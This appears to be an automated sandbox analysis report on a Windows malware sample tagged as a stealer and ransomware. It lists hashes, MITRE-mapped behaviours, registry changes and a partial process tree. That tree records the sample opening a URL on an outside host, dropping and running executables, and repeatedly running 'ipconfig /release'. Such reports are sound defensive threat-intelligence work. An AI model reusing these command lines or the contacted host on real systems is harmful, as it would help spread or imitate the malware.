924e516e6fb8c38b3a9d01c34c041954ec443201fac07b17e702dd7c62effa69

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
18/07/2026, 00:45

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-07-18_df5d1c27a39b6002ef9549d93a754783_elex_redline-stealer_rhadamanthys_stop.exe
Size 226KB
Sample260718-a4befaex3x
SHA256 924e516e6fb8c38b3a9d01c34c041954ec443201fac07b17e702dd7c62effa69
MD5 df5d1c27a39b6002ef9549d93a754783
SHA1 5a971a1ac0740d77b6e94a2c766526bffec72a65
SHA512 b7f01380ef703313a8eb2d653e9966335e2ff7acea94f7b97e198991359a4b82a608c7cf17aec5985b2b802e6681b0157f181bd7a68b30d35dbf3aa41ec1f4fd
SSDEEP 3072:XGSyY4L+c2JhX7ypa3rV3dZPFvOAngoRUAFa1nxayHdXkb5kA7:2XY4LK+a3lLNngoqRttA7
TLSH
T10934490272818071E7560B78046AE7A1467E7C384BA5E68FF7683B795E312D3AD3721F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

adware discovery spyware

Malware Config

Signatures

Executes dropped EXE 64 IoCs

pid	Process
2348	CP.exe
3044	ztrljebwuo.exe
4424	CP.exe
472	CP.exe
868	i_ztrljebwuo.exe
2504	eywqojgbyt.sys
964	CP.exe
2420	rlgdywqojg.exe
2000	CP.exe
4928	CP.exe
5052	i_rlgdywqojg.exe
3328	nlfdyvqoig.sys
1860	CP.exe
4632	gdywqoigay.exe
4336	CP.exe
3712	CP.exe
4824	i_gdywqoigay.exe
3968	CP.exe
4400	vsnlfdxvpn.exe
2296	CP.exe
4624	CP.exe
2212	i_vsnlfdxvpn.exe
3724	fdxvqnifay.sys
2012	CP.exe
1768	vsnkfdxvpn.exe
2268	CP.exe
3896	CP.exe
2532	i_vsnkfdxvpn.exe
4604	mkfcxvpnhf.sys
1352	CP.exe
1608	faxspkicau.exe
2828	CP.exe
712	CP.exe
4128	i_faxspkicau.exe
4120	czusmkecxu.sys
2340	CP.exe
4820	upjhbzurmk.exe
2776	CP.exe
4664	CP.exe
3288	i_upjhbzurmk.exe
1624	urmkecwupm.sys
3920	CP.exe
3488	eztrmjebwu.exe
3416	CP.exe
1408	CP.exe
1112	i_eztrmjebwu.exe
5056	ezwrojhbzt.sys
1684	CP.exe
3880	trmjecwuom.exe
1844	CP.exe
3060	CP.exe
2492	i_trmjecwuom.exe
1500	rljebwtomg.sys
3992	CP.exe
4448	gbytrljdbv.exe
936	CP.exe
1952	CP.exe
2100	i_gbytrljdbv.exe
2780	jdbvtolgdy.sys
4816	CP.exe
3280	ywqoigaytq.exe
4932	CP.exe
440	CP.exe
1528	i_ywqoigaytq.exe

System Location Discovery: System Language Discovery 1 TTPs 43 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ywqoigaytq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wuomgeywro.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-07-18_df5d1c27a39b6002ef9549d93a754783_elex_redline-stealer_rhadamanthys_stop.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rlgdywqojg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_gdywqoigay.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vtnlfdxvqn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_smkfdxvpnh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	zurmkecwuo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_wuomgeywro.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vqlidavtnl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	gdywqoigay.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vsnkfdxvpn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	eztrmjebwu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_vqnigaysqk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	faxspkicau.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CP.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ztrljebwuo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_faxspkicau.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	trmjecwuom.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_vtnlfdxvqn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ztrljebwuo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_zurmkecwuo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cwuomhezxr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_cwuomhezxr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_avtnlgdywq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_vqlidavtnl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_vsnkfdxvpn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_upjhbzurmk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ywqoigaytq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	smkfdxvpnh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	hfzxrpkhca.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_hfzxrpkhca.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_vsnlfdxvpn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vqnigaysqk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_rlgdywqojg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	upjhbzurmk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	avtnlgdywq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vsnlfdxvpn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_eztrmjebwu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_trmjecwuom.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	gbytrljdbv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_gbytrljdbv.exe

Gathers network information 2 TTPs 20 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
4592	ipconfig.exe
4920	ipconfig.exe
4428	ipconfig.exe
5056	ipconfig.exe
4320	ipconfig.exe
2672	ipconfig.exe
2520	ipconfig.exe
2684	ipconfig.exe
4124	ipconfig.exe
2932	ipconfig.exe
1936	ipconfig.exe
2340	ipconfig.exe
5040	ipconfig.exe
4304	ipconfig.exe
4408	ipconfig.exe
4252	ipconfig.exe
1940	ipconfig.exe
1184	ipconfig.exe
760	ipconfig.exe
976	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 32 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "3491533309"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\Software\Microsoft\Internet Explorer\IESettingSync	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000784c95236aedec41853ce114ebdc6afa00000000020000000000106600000001000020000000695a474560ae59d5b66adde788429e29566b29ce97ed219ccfd02ec45ebf4de5000000000e8000000002000020000000feb9b500e65be9e749182625624c02a3b7e303ad7cd630757d37d805ecef2e4720000000e707884d8c6ffcf258cb6b0629b8f5cf5285a6604d5dac6ce6b95d787b8758764000000086e63d2f73f7aff078df0e399f38c5cc2bc3ee7dc5829b4c921026c80f5e867a5b8fa5f8b24c143b71b061364e9723066d73d20aa521b950a6c26bd2795ab311	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 00974e325716dd01	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31266382"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = f05153325716dd01	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{FB2BD174-8241-11F1-BC3D-DA48EC94345F} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "491100507"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\SOFTWARE\Microsoft\Internet Explorer\IESettingSync\SlowSettingTypesChanged = "2"	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000784c95236aedec41853ce114ebdc6afa00000000020000000000106600000001000020000000b0f9b825a5a6f040c95a18e4af42c1a9936d50a2ed466fc385980c0992ae2334000000000e8000000002000020000000b4eeb695e06e22b68d65d667cc6aa9aa7f1a5249834e400ad20a5f533568825c20000000bd06f736ba702b15b024fbf7aa4ea6bb7198e41ae8371ba6886fb508ced8c45c400000005d7612e9890c6514aedc6e3061273e023ffd7645db7673c75e84ed7c40479ba8c34b44e6b49937075f5709133833851db631b724836f0c645441509820afbde9	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\Software\Microsoft\Internet Explorer\VersionManager	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe

Suspicious behavior: LoadsDriver 19 IoCs

pid	Process
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found

Suspicious use of AdjustPrivilegeToken 20 IoCs

description	pid	Process
Token: SeDebugPrivilege	868	i_ztrljebwuo.exe
Token: SeDebugPrivilege	5052	i_rlgdywqojg.exe
Token: SeDebugPrivilege	4824	i_gdywqoigay.exe
Token: SeDebugPrivilege	2212	i_vsnlfdxvpn.exe
Token: SeDebugPrivilege	2532	i_vsnkfdxvpn.exe
Token: SeDebugPrivilege	4128	i_faxspkicau.exe
Token: SeDebugPrivilege	3288	i_upjhbzurmk.exe
Token: SeDebugPrivilege	1112	i_eztrmjebwu.exe
Token: SeDebugPrivilege	2492	i_trmjecwuom.exe
Token: SeDebugPrivilege	2100	i_gbytrljdbv.exe
Token: SeDebugPrivilege	1528	i_ywqoigaytq.exe
Token: SeDebugPrivilege	4100	i_vqnigaysqk.exe
Token: SeDebugPrivilege	1104	i_vtnlfdxvqn.exe
Token: SeDebugPrivilege	4912	i_smkfdxvpnh.exe
Token: SeDebugPrivilege	3164	i_hfzxrpkhca.exe
Token: SeDebugPrivilege	3520	i_zurmkecwuo.exe
Token: SeDebugPrivilege	1416	i_cwuomhezxr.exe
Token: SeDebugPrivilege	4592	i_wuomgeywro.exe
Token: SeDebugPrivilege	1480	i_avtnlgdywq.exe
Token: SeDebugPrivilege	4324	i_vqlidavtnl.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
748	iexplore.exe

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
748	iexplore.exe
748	iexplore.exe
1524	IEXPLORE.EXE
1524	IEXPLORE.EXE
1524	IEXPLORE.EXE
1524	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 62 IoCs

description	pid	Process	procid_target
PID 1132 wrote to memory of 748	1132	2026-07-18_df5d1c27a39b6002ef9549d93a754783_elex_redline-stealer_rhadamanthys_stop.exe	84
PID 748 wrote to memory of 1524	748	iexplore.exe	85
PID 1132 wrote to memory of 2348	1132	2026-07-18_df5d1c27a39b6002ef9549d93a754783_elex_redline-stealer_rhadamanthys_stop.exe	87
PID 3044 wrote to memory of 4424	3044	ztrljebwuo.exe	91
PID 1132 wrote to memory of 472	1132	2026-07-18_df5d1c27a39b6002ef9549d93a754783_elex_redline-stealer_rhadamanthys_stop.exe	101
PID 1132 wrote to memory of 964	1132	2026-07-18_df5d1c27a39b6002ef9549d93a754783_elex_redline-stealer_rhadamanthys_stop.exe	106
PID 2420 wrote to memory of 2000	2420	rlgdywqojg.exe	108
PID 1132 wrote to memory of 4928	1132	2026-07-18_df5d1c27a39b6002ef9549d93a754783_elex_redline-stealer_rhadamanthys_stop.exe	113
PID 1132 wrote to memory of 1860	1132	2026-07-18_df5d1c27a39b6002ef9549d93a754783_elex_redline-stealer_rhadamanthys_stop.exe	117
PID 4632 wrote to memory of 4336	4632	gdywqoigay.exe	119
PID 1132 wrote to memory of 3712	1132	2026-07-18_df5d1c27a39b6002ef9549d93a754783_elex_redline-stealer_rhadamanthys_stop.exe	122
PID 1132 wrote to memory of 3968	1132	2026-07-18_df5d1c27a39b6002ef9549d93a754783_elex_redline-stealer_rhadamanthys_stop.exe	124
PID 4400 wrote to memory of 2296	4400	vsnlfdxvpn.exe	126
PID 1132 wrote to memory of 4624	1132	2026-07-18_df5d1c27a39b6002ef9549d93a754783_elex_redline-stealer_rhadamanthys_stop.exe	129
PID 1132 wrote to memory of 2012	1132	2026-07-18_df5d1c27a39b6002ef9549d93a754783_elex_redline-stealer_rhadamanthys_stop.exe	134
PID 1768 wrote to memory of 2268	1768	vsnkfdxvpn.exe	136
PID 1132 wrote to memory of 3896	1132	2026-07-18_df5d1c27a39b6002ef9549d93a754783_elex_redline-stealer_rhadamanthys_stop.exe	139
PID 1132 wrote to memory of 1352	1132	2026-07-18_df5d1c27a39b6002ef9549d93a754783_elex_redline-stealer_rhadamanthys_stop.exe	143
PID 1608 wrote to memory of 2828	1608	faxspkicau.exe	145
PID 1132 wrote to memory of 712	1132	2026-07-18_df5d1c27a39b6002ef9549d93a754783_elex_redline-stealer_rhadamanthys_stop.exe	148
PID 1132 wrote to memory of 2340	1132	2026-07-18_df5d1c27a39b6002ef9549d93a754783_elex_redline-stealer_rhadamanthys_stop.exe	152
PID 4820 wrote to memory of 2776	4820	upjhbzurmk.exe	154
PID 1132 wrote to memory of 4664	1132	2026-07-18_df5d1c27a39b6002ef9549d93a754783_elex_redline-stealer_rhadamanthys_stop.exe	157
PID 1132 wrote to memory of 3920	1132	2026-07-18_df5d1c27a39b6002ef9549d93a754783_elex_redline-stealer_rhadamanthys_stop.exe	161
PID 3488 wrote to memory of 3416	3488	eztrmjebwu.exe	163
PID 1132 wrote to memory of 1408	1132	2026-07-18_df5d1c27a39b6002ef9549d93a754783_elex_redline-stealer_rhadamanthys_stop.exe	166
PID 1132 wrote to memory of 1684	1132	2026-07-18_df5d1c27a39b6002ef9549d93a754783_elex_redline-stealer_rhadamanthys_stop.exe	170
PID 3880 wrote to memory of 1844	3880	trmjecwuom.exe	172
PID 1132 wrote to memory of 3060	1132	2026-07-18_df5d1c27a39b6002ef9549d93a754783_elex_redline-stealer_rhadamanthys_stop.exe	175
PID 1132 wrote to memory of 3992	1132	2026-07-18_df5d1c27a39b6002ef9549d93a754783_elex_redline-stealer_rhadamanthys_stop.exe	179
PID 4448 wrote to memory of 936	4448	gbytrljdbv.exe	181
PID 1132 wrote to memory of 1952	1132	2026-07-18_df5d1c27a39b6002ef9549d93a754783_elex_redline-stealer_rhadamanthys_stop.exe	184
PID 1132 wrote to memory of 4816	1132	2026-07-18_df5d1c27a39b6002ef9549d93a754783_elex_redline-stealer_rhadamanthys_stop.exe	189
PID 3280 wrote to memory of 4932	3280	ywqoigaytq.exe	191
PID 1132 wrote to memory of 440	1132	2026-07-18_df5d1c27a39b6002ef9549d93a754783_elex_redline-stealer_rhadamanthys_stop.exe	194
PID 1132 wrote to memory of 1780	1132	2026-07-18_df5d1c27a39b6002ef9549d93a754783_elex_redline-stealer_rhadamanthys_stop.exe	198
PID 2928 wrote to memory of 1644	2928	vqnigaysqk.exe	200
PID 1132 wrote to memory of 2364	1132	2026-07-18_df5d1c27a39b6002ef9549d93a754783_elex_redline-stealer_rhadamanthys_stop.exe	203
PID 1132 wrote to memory of 4836	1132	2026-07-18_df5d1c27a39b6002ef9549d93a754783_elex_redline-stealer_rhadamanthys_stop.exe	208
PID 1284 wrote to memory of 2880	1284	vtnlfdxvqn.exe	210
PID 1132 wrote to memory of 1212	1132	2026-07-18_df5d1c27a39b6002ef9549d93a754783_elex_redline-stealer_rhadamanthys_stop.exe	213
PID 1132 wrote to memory of 1764	1132	2026-07-18_df5d1c27a39b6002ef9549d93a754783_elex_redline-stealer_rhadamanthys_stop.exe	219
PID 4224 wrote to memory of 4356	4224	smkfdxvpnh.exe	221
PID 1132 wrote to memory of 5076	1132	2026-07-18_df5d1c27a39b6002ef9549d93a754783_elex_redline-stealer_rhadamanthys_stop.exe	226
PID 1132 wrote to memory of 3540	1132	2026-07-18_df5d1c27a39b6002ef9549d93a754783_elex_redline-stealer_rhadamanthys_stop.exe	230
PID 4388 wrote to memory of 1640	4388	hfzxrpkhca.exe	232
PID 1132 wrote to memory of 1004	1132	2026-07-18_df5d1c27a39b6002ef9549d93a754783_elex_redline-stealer_rhadamanthys_stop.exe	235
PID 1132 wrote to memory of 4952	1132	2026-07-18_df5d1c27a39b6002ef9549d93a754783_elex_redline-stealer_rhadamanthys_stop.exe	239
PID 380 wrote to memory of 4912	380	zurmkecwuo.exe	241
PID 1132 wrote to memory of 1068	1132	2026-07-18_df5d1c27a39b6002ef9549d93a754783_elex_redline-stealer_rhadamanthys_stop.exe	244
PID 1132 wrote to memory of 3324	1132	2026-07-18_df5d1c27a39b6002ef9549d93a754783_elex_redline-stealer_rhadamanthys_stop.exe	248
PID 704 wrote to memory of 5060	704	cwuomhezxr.exe	250
PID 1132 wrote to memory of 4284	1132	2026-07-18_df5d1c27a39b6002ef9549d93a754783_elex_redline-stealer_rhadamanthys_stop.exe	253
PID 1132 wrote to memory of 2892	1132	2026-07-18_df5d1c27a39b6002ef9549d93a754783_elex_redline-stealer_rhadamanthys_stop.exe	257
PID 3572 wrote to memory of 4436	3572	wuomgeywro.exe	259
PID 1132 wrote to memory of 3296	1132	2026-07-18_df5d1c27a39b6002ef9549d93a754783_elex_redline-stealer_rhadamanthys_stop.exe	262
PID 1132 wrote to memory of 3832	1132	2026-07-18_df5d1c27a39b6002ef9549d93a754783_elex_redline-stealer_rhadamanthys_stop.exe	266
PID 3984 wrote to memory of 4184	3984	avtnlgdywq.exe	268
PID 1132 wrote to memory of 2388	1132	2026-07-18_df5d1c27a39b6002ef9549d93a754783_elex_redline-stealer_rhadamanthys_stop.exe	274
PID 1132 wrote to memory of 3048	1132	2026-07-18_df5d1c27a39b6002ef9549d93a754783_elex_redline-stealer_rhadamanthys_stop.exe	278
PID 2096 wrote to memory of 1840	2096	vqlidavtnl.exe	280
PID 1132 wrote to memory of 4372	1132	2026-07-18_df5d1c27a39b6002ef9549d93a754783_elex_redline-stealer_rhadamanthys_stop.exe	283

C:\Users\Admin\AppData\Local\Temp\2026-07-18_df5d1c27a39b6002ef9549d93a754783_elex_redline-stealer_rhadamanthys_stop.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-18_df5d1c27a39b6002ef9549d93a754783_elex_redline-stealer_rhadamanthys_stop.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1132
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:748
- - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
    "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:748 CREDAT:17410 /prefetch:2
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    - Suspicious use of SetWindowsHookEx
    PID:1524
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\ztrljebwuo.exe ups_run
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:2348
- - C:\Temp\ztrljebwuo.exe
    C:\Temp\ztrljebwuo.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3044
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:4424
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2932
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_ztrljebwuo.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:472
- - C:\Temp\i_ztrljebwuo.exe
    C:\Temp\i_ztrljebwuo.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:868
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\rlgdywqojg.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:964
- - C:\Temp\rlgdywqojg.exe
    C:\Temp\rlgdywqojg.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2420
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:2000
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:1936
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_rlgdywqojg.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:4928
- - C:\Temp\i_rlgdywqojg.exe
    C:\Temp\i_rlgdywqojg.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5052
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\gdywqoigay.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:1860
- - C:\Temp\gdywqoigay.exe
    C:\Temp\gdywqoigay.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4632
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:4336
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4252
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_gdywqoigay.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:3712
- - C:\Temp\i_gdywqoigay.exe
    C:\Temp\i_gdywqoigay.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4824
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\vsnlfdxvpn.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:3968
- - C:\Temp\vsnlfdxvpn.exe
    C:\Temp\vsnlfdxvpn.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4400
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:2296
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2340
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_vsnlfdxvpn.exe ups_ins
